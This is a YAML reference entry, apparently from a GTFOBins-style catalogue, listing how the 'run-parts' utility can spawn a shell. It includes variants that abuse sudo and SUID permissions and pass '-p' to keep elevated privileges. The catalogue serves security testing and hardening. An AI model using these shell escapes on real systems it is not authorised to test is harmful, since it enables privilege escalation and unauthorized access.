Files
2026-01-17 21:05:12 +01:00

25 lines
522 B
Plaintext

---
functions:
shell:
- code: |-
run-parts --new-session --regex '^sh$' /bin
contexts:
sudo:
suid:
code: |-
run-parts --new-session --regex '^sh$' /bin --arg='-p'
shell: false
unprivileged:
- code: |-
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
contexts:
sudo:
suid:
code: |-
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/ --arg='-p'
shell: false
unprivileged:
...